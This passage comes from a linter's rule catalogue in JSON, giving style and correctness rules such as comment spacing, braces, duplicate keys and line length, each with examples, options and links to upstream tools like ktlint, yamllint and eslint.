{
  "rules": [
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a block comment that follows an opening token on its line and ends the line (`if (a) { /* note */`). The tokens are the option `after` (default `{`). A line comment there, and a block comment with code after it on the line, are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "fun f(a: Int) {\n    if (a > 1) {    /* big */\n        g()\n    }\n    if (a > 2) { // line comment\n        g()\n    }\n    if (a > 3) { /* inline */ g() }\n}\n",
        "language": "kotlin",
        "other_lines": [],
        "spans": [
          {
            "column": 21,
            "length": 9,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "block-comment-after-open",
      "languages": [
        "all"
      ],
      "options": [
        {
          "default": [
            "{"
          ],
          "description": "The tokens a block comment must not follow on their line.",
          "name": "after",
          "type": "list"
        }
      ],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "wrapping",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#wrapping"
        }
      ],
      "why": "The style keeps a block comment from ending the line of an opening brace. A comment on a line of its own above the first statement says clearly which statement it describes.\n\nTo fix, move the comment to its own line."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a line comment whose text starts right after the marker (`//text`, `#text`). Not reported: a comment with nothing after the marker, a repeated marker (`////`, `##`), a `--` separator line and a `#!` shebang on the first line. With the option `block` it also checks block comments (`/*a*/`: text right after the opening or before the closing delimiter). The fix inserts the space.",
      "example": {
        "config": null,
        "fixed": "{\n  // no space\n  /// fine\n  \"a\": 1, // tail\n  \"b\": 2\n}\n",
        "input": "{\n  //no space\n  /// fine\n  \"a\": 1, //tail\n  \"b\": 2\n}\n",
        "language": "json",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 2,
            "line": 2
          },
          {
            "column": 11,
            "length": 2,
            "line": 4
          }
        ]
      },
      "fix": "safe",
      "id": "comment-space",
      "languages": [
        "all"
      ],
      "options": [
        {
          "default": true,
          "description": "Check line comments (`// a`). Off, only block comments are checked (with `block`).",
          "name": "line",
          "type": "bool"
        },
        {
          "default": false,
          "description": "Also check block comments: text right after the opening or before the closing delimiter is reported (`/*a*/`). Exempt: an empty comment, and a delimiter repeated (`/**`, `/***/`). The fix inserts the space.",
          "name": "block",
          "type": "bool"
        }
      ],
      "presets": [
        "css/stylelint-standard",
        "kotlin/ktlint",
        "yaml/yamllint",
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "comment-spacing",
          "note": "Line comments only.",
          "partial": true,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#comment-spacing"
        },
        {
          "id": "SA1005",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1005.md"
        },
        {
          "id": "comment-whitespace-inside",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/comment-whitespace-inside"
        },
        {
          "id": "comments.require-starting-space",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.comments"
        }
      ],
      "why": "One space after the marker is the common way to write comments, and it separates the text from the marker so that the comment reads as text and not as a disabled piece of code. A comment without it is also hard to tell from commented-out code (`//foo();`).\n\nTo fix, add the space; the fix does it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports the body of an `if`, `else`, loop or `when` entry that is one statement without braces (`if (a) b();`, `else c();`, `for (;;) d();`, `while (x) y();`). `else if` is not reported. Style `always` (default) wants braces on every body; style `chain` wants them on the branches of a chain only where one branch has braces, spans lines or passes the line width, and on a loop body that stands on its own line. The language's `curly_style` option overrides the style when the formatter runs the rule. The fix adds the braces.",
      "example": {
        "config": null,
        "fixed": "class A {\n  void f(boolean x, int[] xs) {\n    if (x) { return; }\n    if (x) {\n      g();\n    } else { g(); }\n    if (x) {\n      g();\n    } else if (!x) {\n      g();\n    } else {\n      g();\n    }\n    for (int i = 0; i < 3; i++) { g(); }\n    for (int v : xs) { g(); }\n    while (x) { g(); }\n    do { g(); } while (x);\n    for (int v : xs) {\n      g();\n    }\n  }\n}\n",
        "input": "class A {\n  void f(boolean x, int[] xs) {\n    if (x) return;\n    if (x) {\n      g();\n    } else g();\n    if (x) {\n      g();\n    } else if (!x) {\n      g();\n    } else {\n      g();\n    }\n    for (int i = 0; i < 3; i++) g();\n    for (int v : xs) g();\n    while (x) g();\n    do g(); while (x);\n    for (int v : xs) {\n      g();\n    }\n  }\n}\n",
        "language": "java",
        "other_lines": [],
        "spans": [
          {
            "column": 5,
            "length": 2,
            "line": 3
          },
          {
            "column": 5,
            "length": 2,
            "line": 4
          },
          {
            "column": 5,
            "length": 3,
            "line": 14
          },
          {
            "column": 5,
            "length": 3,
            "line": 15
          },
          {
            "column": 5,
            "length": 5,
            "line": 16
          },
          {
            "column": 5,
            "length": 2,
            "line": 17
          }
        ]
      },
      "fix": "safe",
      "id": "curly",
      "languages": [
        "all"
      ],
      "options": [
        {
          "choices": [
            "always",
            "chain"
          ],
          "default": "always",
          "description": "`always`: every body; `chain`: see the rule. The `style` row of the language's `curly_style` option overrides it in the formatter.",
          "name": "style",
          "type": "string"
        }
      ],
      "presets": [
        "java/google",
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "NeedBraces",
          "note": "No option for single-line bodies.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/blocks/needbraces.html#NeedBraces"
        }
      ],
      "why": "Without braces a second line added later to the body looks as if it belongs to the `if` or loop, but it runs every time. That is how the 2014 Apple `goto fail` bug happened, and braces make the extent of the body visible.\n\nTo fix, add the braces; the fix does it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a name that a command declares when it does not match the pattern of its class, for languages whose files are a flat list of commands (CMake). The option `names` says which argument of which command is a name and of which class (`command:position:class`), `markers` and `scopes` settle the class of a variable (a marker word among the arguments, or the innermost listed block it is set in), and `patterns` gives each class a regex that the name must match from its start. A class without a pattern is not checked. `reference_start` and `reference_end` cut references such as `${...}` out of a name first, and `ignore_pattern` leaves matching names out.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "set(lower 1)\nset(UPPER 1)\nset(lc \"\" CACHE STRING \"x\")\nset(_OK \"\" CACHE INTERNAL \"x\")\nset(lc2 \"\" CACHE STRING INTERNAL)\nset(ENV{any} 1)\nset(${x} 1)\nset(${x}_a 1)\nlist(LENGTH UPPER out)\nforeach(Item a b)\nendforeach()\nfunction(F_n Arg)\n  set(Local 1)\n  set(local 1)\n  set(xy 1 PARENT_SCOPE)\nendfunction()\nmacro(m)\n  set(xy 1)\n  set(XY 1)\nendmacro()\n",
        "language": "cmake",
        "other_lines": [],
        "spans": [
          {
            "column": 5,
            "length": 5,
            "line": 1
          },
          {
            "column": 5,
            "length": 2,
            "line": 3
          },
          {
            "column": 5,
            "length": 3,
            "line": 5
          },
          {
            "column": 5,
            "length": 6,
            "line": 8
          },
          {
            "column": 19,
            "length": 3,
            "line": 9
          },
          {
            "column": 9,
            "length": 4,
            "line": 10
          },
          {
            "column": 10,
            "length": 3,
            "line": 12
          },
          {
            "column": 14,
            "length": 3,
            "line": 12
          },
          {
            "column": 7,
            "length": 5,
            "line": 13
          },
          {
            "column": 7,
            "length": 2,
            "line": 19
          }
        ]
      },
      "fix": null,
      "id": "declared-name-pattern",
      "languages": [
        "all"
      ],
      "options": [
        {
          "default": [],
          "description": "Rows `command:position:class` (`command` may be `command FIRST-ARGUMENT`): the argument at the position (`0`, `-1` for the last, or `1+` for the rest) are names of the class; the class `variable` is told by `markers` and `scopes`.",
          "name": "names",
          "type": "list"
        },
        {
          "default": [],
          "description": "Rows `WORD:class`: a command with the argument WORD (or the arguments `WORD WORD`, in a row) declares a variable of the class; the last row that fits wins.",
          "name": "markers",
          "type": "list"
        },
        {
          "default": [],
          "description": "Rows `block:class`: a variable set inside the block that starts with the command `block` (the innermost listed one) has the class; the row with no block is the class outside them. An empty class is not checked.",
          "name": "scopes",
          "type": "list"
        },
        {
          "default": [],
          "description": "Rows `class:regex`: the regex a name of the class must match from its start.",
          "name": "patterns",
          "type": "list"
        },
        {
          "default": "",
          "description": "Where a reference to another name starts inside a name (`${` in CMake); the references, up to the matching `reference_end`, are cut out before the name is matched, and a name that is only references is left out.",
          "name": "reference_start",
          "type": "string"
        },
        {
          "default": "",
          "description": "Where a reference ends (`}` in CMake).",
          "name": "reference_end",
          "type": "string"
        },
        {
          "default": "",
          "description": "A regex; a name that matches is left out.",
          "name": "ignore_pattern",
          "type": "string"
        }
      ],
      "presets": [
        "cmake/cmake-lint"
      ],
      "upstream": [
        {
          "id": "C0103",
          "partial": false,
          "tool": "cmake-lint"
        }
      ],
      "why": "A naming convention is only useful when it holds everywhere: with it, a reader can tell from the name what kind of thing it is, and a search finds all of one kind. Without the option rows the rule checks nothing.\n\nTo fix, rename the variable or function."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a command listed in the option `commands` (for example `function` and `macro` in CMake, compared ignoring case) that has no comment on the line right before it, or whose comment has no text (`#` alone). A comment further up with a blank line between, or code in between, does not count. The option `doc_kinds` limits which comment kinds document (all by default); a comment of another kind counts as an empty one.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "# Does a thing.\nfunction(a)\nendfunction()\n\n# Detached.\n\nfunction(b)\nendfunction()\n#\nmacro(c)\nendmacro()\nset(d 1)\n#[[ block ]]\nfunction(e)\nendfunction()\n# Text.\n#\nfunction(f)\nendfunction()\n",
        "language": "cmake",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 8,
            "line": 7
          },
          {
            "column": 1,
            "length": 5,
            "line": 10
          },
          {
            "column": 1,
            "length": 8,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "documented-command",
      "languages": [
        "all"
      ],
      "options": [
        {
          "default": [],
          "description": "The commands that need a comment (case ignored).",
          "name": "commands",
          "type": "list"
        },
        {
          "default": [],
          "description": "The kinds of comment token that document (none listed: every comment does); a comment of another kind counts as one with no text.",
          "name": "doc_kinds",
          "type": "list"
        }
      ],
      "presets": [
        "cmake/cmake-lint"
      ],
      "upstream": [
        {
          "id": "C0111",
          "partial": false,
          "tool": "cmake-lint"
        },
        {
          "id": "C0112",
          "partial": false,
          "tool": "cmake-lint"
        }
      ],
      "why": "A function or macro is called from other files, so a reader meets the name far from its definition. A comment right above it is the place where tools and readers look for what it takes and does.\n\nTo fix, write the comment on the line before the definition."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a heading written in another style than the document's: `#` before the text (ATX) or the text over a line of `=` or `-` (setext). The option `style` is `atx`, `setext` or `consistent` (the style of the first heading, the default). The fix rewrites a one-line heading of level 1 or 2.",
      "example": {
        "config": null,
        "fixed": "# Title\n\n  # Section\n\n  ## Sub\n\n## Atx\n\n  Two\n  lines\n  ---\n",
        "input": "# Title\n\n  Section\n  =======\n\n  Sub\n  ---\n\n## Atx\n\n  Two\n  lines\n  ---\n",
        "language": "markdown",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 7,
            "line": 3
          },
          {
            "column": 3,
            "length": 3,
            "line": 6
          },
          {
            "column": 3,
            "length": 3,
            "line": 11
          }
        ]
      },
      "fix": "safe",
      "id": "heading-style",
      "languages": [
        "all"
      ],
      "options": [
        {
          "choices": [
            "consistent",
            "atx",
            "setext"
          ],
          "default": "consistent",
          "description": "`atx`, `setext`, or `consistent` (the first heading's style).",
          "name": "style",
          "type": "string"
        },
        {
          "default": "Heading",
          "description": "The name of the grammar kind of a heading node.",
          "name": "kind",
          "type": "string"
        }
      ],
      "presets": [
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "MD003",
          "note": "`consistent` only (the first heading's style); the fix writes a setext heading of one line as atx, the other way is not fixed. No `setext_with_atx` styles.",
          "partial": true,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md003.md"
        }
      ],
      "why": "Two heading styles in one document make it look edited by different hands, and tools that search for headings (outlines, scripts) must know both. Only level 1 and 2 have a setext form, so ATX is the one style that works for every level.\n\nTo fix, use the style of the document; the fix does it for level 1 and 2."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a key that does not follow one of the allowed naming conventions of the option `allowed` (default `camelCase`; also `PascalCase`, `snake_case`, `kebab-case`, `SCREAMING_SNAKE_CASE`). A key with punctuation or white space never matches; `camelCase` also rejects `_` and `-`, and `snake_case` and `kebab-case` reject capitals. Keys that match one of the `ignored_keys` regexes, and a YAML merge key (`<<`), are not checked. There is no fix, because renaming a key changes the data.",
      "example": {
        "config": "key-name-casing:\n  level: warn\n  options:\n    allowed: [snake_case, kebab-case]\n    ignored_keys: [\"^P\"]\n",
        "fixed": null,
        "input": "{\"camelCase\": 1, \"snake_case\": 2, \"kebab-case\": 3, \"PascalCase\": 4, \"SCREAMING_SNAKE\": 5, \"a b\": 6}\n",
        "language": "json",
        "other_lines": [],
        "spans": [
          {
            "column": 2,
            "length": 11,
            "line": 1
          },
          {
            "column": 69,
            "length": 17,
            "line": 1
          },
          {
            "column": 91,
            "length": 5,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "key-name-casing",
      "languages": [
        "all"
      ],
      "options": [
        {
          "choices": [
            "camelCase",
            "PascalCase",
            "snake_case",
            "kebab-case",
            "SCREAMING_SNAKE_CASE"
          ],
          "default": [
            "camelCase"
          ],
          "description": "Accepted conventions: `camelCase`, `PascalCase`, `snake_case`, `kebab-case`, `SCREAMING_SNAKE_CASE`. A key is fine when it matches one.",
          "name": "allowed",
          "type": "list"
        },
        {
          "default": [],
          "description": "Regular expressions; matching keys stay where they are and are not compared.",
          "name": "ignored_keys",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "jsonc/key-name-casing",
          "partial": false,
          "tool": "eslint-plugin-jsonc",
          "url": "https://ota-meshi.github.io/eslint-plugin-jsonc/rules/key-name-casing.html"
        }
      ],
      "why": "Configuration and data files are read by programs and people, and one casing for all keys lets both guess a key's name without looking it up. A key in another casing is often a typo or a copy from another file with other conventions.\n\nTo fix, rename the key and every place that reads it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a line longer than `max` characters (default 120). With `allow_non_breakable_words` (default on) a line that has no space after its indentation, a leading `#` run or `- ` is not reported (a long URL); `allow_non_breakable_inline_mappings` also allows a YAML `key: value` line whose value has no space.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "{\"key\": \"0123456789\"}\n",
        "language": "json",
        "other_lines": [],
        "spans": [
          {
            "column": 11,
            "length": 11,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "max-line-length",
      "languages": [
        "all"
      ],
      "options": [
        {
          "default": 120,
          "description": "Longest allowed line, in characters.",
          "name": "max",
          "type": "int"
        },
        {
          "default": true,
          "description": "Do not report a line that has no space after its indentation (and after a leading `#` run or `- `), such as a long URL.",
          "name": "allow_non_breakable_words",
          "type": "bool"
        },
        {
          "default": false,
          "description": "With `allow_non_breakable_words`, also do not report a `key: value` line whose value has no space. Only in languages that have such lines (YAML).",
          "name": "allow_non_breakable_inline_mappings",
          "type": "bool"
        }
      ],
      "presets": [
        "cmake/cmake-lint",
        "java/google",
        "kotlin/ktlint",
        "markdown/markdownlint",
        "sql/sqlfluff",
        "yaml/yamllint"
      ],
      "upstream": [
        {
          "id": "LineLength",
          "note": "No ignore pattern for `package` and `import` lines.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/sizes/linelength.html#LineLength"
        },
        {
          "id": "C0301",
          "partial": false,
          "tool": "cmake-lint"
        },
        {
          "id": "max-line-length",
          "note": "ktlint_official allows 140 columns (the `max` option defaults to 120); no exemption for package, import and raw-string lines.",
          "partial": true,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#max-line-length"
        },
        {
          "id": "MD013",
          "note": "No exemptions for code blocks, tables and headings (`code_blocks`, `tables`, `headings`), no `strict`, `stern` or `line_length` per-language defaults.",
          "partial": true,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md013.md"
        },
        {
          "id": "PSAvoidLongLines",
          "partial": false,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/avoidlonglines"
        },
        {
          "id": "RCS0056",
          "note": "no allow_non_breakable_words",
          "partial": true,
          "tool": "Roslynator",
          "url": "https://josefpihrt.github.io/docs/roslynator/analyzers/RCS0056"
        },
        {
          "id": "LT05",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/layout#lt05"
        },
        {
          "id": "line-length",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.line_length"
        },
        {
          "id": "line-length.max",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.line_length"
        },
        {
          "id": "line-length.allow-non-breakable-words",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.line_length"
        },
        {
          "id": "line-length.allow-non-breakable-inline-mappings",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.line_length"
        }
      ],
      "why": "Long lines do not fit next to each other in a diff or a code review, wrap unpredictably in narrow windows, and hide the end of the line when a view scrolls sideways. The limit is a convention of the project, set with `max`.\n\nTo fix, break the line at a natural place."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports the modifiers of a declaration (`public`, `static`, `final`, `override`, ...) that are not in the order the style of the language wants: for Java the order of the Java Language Specification (`public protected private abstract default static sealed non-sealed final transient volatile synchronized native strictfp`), for Kotlin the order of the Kotlin coding conventions. Annotations and unknown keywords keep their place. The finding sits on the keyword that is out of place, or on the first modifier with the option `report: list`. The fix reorders the keywords.",
      "example": {
        "config": null,
        "fixed": "class A {\n  public static final int A = 1;\n  public static final int B = 1;\n  @Deprecated private final int c = 1;\n  private final @Deprecated int d = 1;\n  public synchronized void f() {}\n}\n",
        "input": "class A {\n  static public final int A = 1;\n  public static final int B = 1;\n  @Deprecated final private int c = 1;\n  private final @Deprecated int d = 1;\n  synchronized public void f() {}\n}\n",
        "language": "java",
        "other_lines": [],
        "spans": [
          {
            "column": 10,
            "length": 6,
            "line": 2
          },
          {
            "column": 21,
            "length": 7,
            "line": 4
          },
          {
            "column": 16,
            "length": 6,
            "line": 6
          }
        ]
      },
      "fix": "safe",
      "id": "modifier-order",
      "languages": [
        "all"
      ],
      "options": [
        {
          "choices": [
            "keyword",
            "list"
          ],
          "default": "keyword",
          "description": "Where a finding is reported: on the keyword that is out of place, or on the first token of the modifier list.",
          "name": "report",
          "type": "string"
        }
      ],
      "presets": [
        "java/google",
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "ModifierOrder",
          "note": "Annotations are not checked against the modifiers.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/modifier/modifierorder.html#ModifierOrder"
        },
        {
          "id": "modifier-order",
          "note": "The shared rule over the `#modifiers` node; ktlint's order, annotations stay in place",
          "partial": true,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#modifier-order"
        }
      ],
      "why": "Modifiers in a fixed order are easier to scan: the access level is always first, so a reader and a search for `public static` find every declaration alike. The order carries no meaning for the compiler, so no behaviour changes.\n\nTo fix, reorder the modifiers; the fix does it."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports a key that a mapping has twice, after decoding escapes and quotes (`{\"a\": 1, \"\\u0061\": 2}` has `a` twice). It reads the mappings of the language's grammar: JSON and JSONC objects, YAML and TOML mappings, JavaScript object literals, and similar entries of other languages. A YAML merge key (`<<`) may repeat, and the option `merge_keys: forbid` reports a second one too. The second key is reported, the first is shown as related.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "{\"a\": 1, \"\\u0061\": 2, \"b\\/\": 3, \"b/\": 4}\n",
        "language": "json",
        "other_lines": [],
        "spans": [
          {
            "column": 10,
            "length": 8,
            "line": 1
          },
          {
            "column": 33,
            "length": 4,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-duplicate-keys",
      "languages": [
        "all"
      ],
      "options": [
        {
          "choices": [
            "allow",
            "forbid"
          ],
          "default": "allow",
          "description": "Languages with a merge key (YAML `<<`) only. `allow` skips merge keys, which may repeat; `forbid` reports a second one like any other duplicate key.",
          "name": "merge_keys",
          "type": "string"
        }
      ],
      "presets": [
        "json/eslint-plugin-jsonc-recommended",
        "html/html-validate-standard",
        "html/htmlhint",
        "html/html-eslint-recommended",
        "html/eslint-plugin-vue-recommended",
        "graphql/graphql-eslint-recommended",
        "hcl/tflint-recommended",
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint",
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "syntax-check/duplicate-key",
          "note": "partial",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-missing-required-duplicate-keys"
        },
        {
          "id": "suspicious/noDuplicateObjectKeys",
          "partial": false,
          "tool": "Biome",
          "url": "https://biomejs.dev/linter/rules/no-duplicate-object-keys/"
        },
        {
          "id": "no-dupe-keys",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-dupe-keys"
        },
        {
          "id": "jsonc/no-dupe-keys",
          "partial": false,
          "tool": "eslint-plugin-jsonc",
          "url": "https://ota-meshi.github.io/eslint-plugin-jsonc/rules/no-dupe-keys.html"
        },
        {
          "id": "no-duplicate-attributes",
          "note": "repeated `v-on` handlers and slots are allowed, and `class` next to `:class` is not a repeat",
          "partial": true,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-duplicate-attributes.html"
        },
        {
          "id": "no-duplicate-fields",
          "partial": false,
          "tool": "graphql-eslint",
          "url": "https://the-guild.dev/graphql/eslint/rules/no-duplicate-fields"
        },
        {
          "id": "unique-enum-value-names",
          "partial": false,
          "tool": "graphql-eslint",
          "url": "https://the-guild.dev/graphql/eslint/rules/unique-enum-value-names"
        },
        {
          "id": "no-duplicate-attrs",
          "partial": false,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/no-duplicate-attrs"
        },
        {
          "id": "no-dup-attr",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/no-dup-attr.html"
        },
        {
          "id": "attr-no-duplication",
          "partial": false,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/attr-no-duplication.mdx"
        },
        {
          "id": "F601",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F601/"
        },
        {
          "id": "F602",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F602/"
        },
        {
          "id": "terraform_map_duplicate_keys",
          "partial": false,
          "tool": "tflint",
          "url": "https://github.com/terraform-linters/tflint-ruleset-terraform/blob/main/docs/rules/terraform_map_duplicate_keys.md"
        },
        {
          "id": "key-duplicates",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.key_duplicates"
        },
        {
          "id": "key-duplicates.forbid-duplicated-merge-keys",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.key_duplicates"
        }
      ],
      "why": "Parsers disagree on what a duplicate means: many keep the last value, some the first, some reject the file. The value that is lost is silent, so a file can mean something different in two tools, and the second entry is often a copy that was meant to have another name.\n\nTo fix, remove one of the keys, or give it its own name."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a section that has the same name as an earlier section of the file (INI and EditorConfig: the section header, for EditorConfig the glob).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "[*.cs]\nindent_size = 4\n\n[*.vb]\nindent_size = 2\n\n[*.cs]\ntab_width = 4\n[*.CS]\ntab_width = 4\n",
        "language": "editorconfig",
        "other_lines": [],
        "spans": [
          {
            "column": 2,
            "length": 4,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "no-duplicate-sections",
      "languages": [
        "all"
      ],
      "options": [],
      "presets": [],
      "upstream": [],
      "why": "Readers of the format handle repeated sections in different ways: some merge them, some keep only the last, so the settings of one of them may be lost or applied in an order that is hard to see.\n\nTo fix, merge the two sections into one."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a comment with no text. An empty block comment (`/**/`) is reported wherever it is. An empty line comment is reported only when it begins or ends a run of comment lines, because a bare `//` between two comment lines separates paragraphs; the option `separators` reports those too.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "{\n  /**/\n  \"b\": 2\n}\n",
        "language": "json",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 4,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-empty-comment",
      "languages": [
        "all"
      ],
      "options": [
        {
          "default": false,
          "description": "Also report an empty line comment between two comments.",
          "name": "separators",
          "type": "bool"
        }
      ],
      "presets": [
        "css/stylelint-recommended",
        "css/stylelint-standard",
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1120",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1120.md"
        },
        {
          "id": "comment-no-empty",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/comment-no-empty"
        },
        {
          "id": "scss/comment-no-empty",
          "partial": false,
          "tool": "stylelint-scss",
          "url": "https://github.com/stylelint-scss/stylelint-scss/blob/v7.4.0/src/rules/comment-no-empty/README.md"
        }
      ],
      "why": "An empty comment says nothing: it is a leftover of a deleted comment or of an unfinished one, and a reader stops to look for the meaning that is not there.\n\nTo fix, write the text or delete the comment."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a key that is empty or only white space after decoding escapes (`\"\": 4`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "{\"\": 1, \" \\t\": 2, \"a\": 3, \"\\u0020\": 4}\n",
        "language": "json",
        "other_lines": [],
        "spans": [
          {
            "column": 2,
            "length": 2,
            "line": 1
          },
          {
            "column": 9,
            "length": 5,
            "line": 1
          },
          {
            "column": 27,
            "length": 8,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-empty-keys",
      "languages": [
        "all"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "suspicious/noEmptyObjectKeys",
          "partial": false,
          "tool": "Biome",
          "url": "https://biomejs.dev/linter/rules/no-empty-object-keys/"
        }
      ],
      "why": "A property with no name cannot be reached the usual ways: a dotted path, a command line option or an environment variable has no spelling for it, and some consumers fail on it. It is nearly always a missing name.\n\nTo fix, give the key a name."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a tab character in a line; a run of tabs is one report. The option `ignore_kinds` lists token kinds whose tabs are not reported (for example the code of a Markdown fence), and `indentation_only` reports only the tabs in the white space that starts a line.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if(A)\n  \tset(x 1)\n  set(y\t2)\nendif()\n",
        "language": "cmake",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 1,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-hard-tabs",
      "languages": [
        "all"
      ],
      "options": [
        {
          "default": [],
          "description": "Kinds of tokens whose tabs are not reported (for example the code of a fence).",
          "name": "ignore_kinds",
          "type": "list"
        },
        {
          "default": false,
          "description": "Report only the tabs in the whitespace that starts a line.",
          "name": "indentation_only",
          "type": "bool"
        }
      ],
      "presets": [
        "cmake/cmake-lint",
        "markdown/markdownlint"
      ],
      "upstream": [
        {
          "id": "C0306",
          "partial": false,
          "tool": "cmake-lint"
        },
        {
          "id": "MD010",
          "note": "Reported on the tab run, as markdownlint does; no `spaces_per_tab` fix, no `ignore_code_languages`; `code_blocks` off is the option `ignore_kinds` naming the code tokens.",
          "partial": true,
          "tool": "markdownlint",
          "url": "https://github.com/DavidAnson/markdownlint/blob/main/doc/md010.md"
        }
      ],
      "why": "A tab is as wide as each reader's editor and tool makes it, so text that is aligned with tabs looks different in a diff, in a review and on the web. Spaces look the same everywhere. Some formats (YAML indentation) do not accept tabs at all.\n\nTo fix, replace the tab with spaces."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a block comment that fits on one line and ends its line (`/* text */`): it is written as a line comment. Documentation comments (`/**`), empty comments, comments with code after them on the same line and languages without a line comment marker are not reported. The fix turns it into a line comment.",
      "example": {
        "config": null,
        "fixed": "import b.B\nimport a.A\n\nfun f(x: Int) = when (x) {\n    1 -> {\n        foo()\n    }\n\n    2 -> bar()\n    else -> baz()\n}\n\n// one line\nval a = 1\n",
        "input": "import b.B\nimport a.A\n\nfun f(x: Int) = when (x) {\n    1 -> {\n        foo()\n    }\n\n    2 -> bar()\n    else -> baz()\n}\n\n/* one line */\nval a = 1\n",
        "language": "kotlin",
        "other_lines": [
          1,
          2,
          4,
          9,
          10
        ],
        "spans": [
          {
            "column": 1,
            "length": 14,
            "line": 13
          }
        ]
      },
      "fix": "safe",
      "id": "no-single-line-block-comment",
      "languages": [
        "all"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "no-single-line-block-comment",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#no-single-line-block-comment"
        }
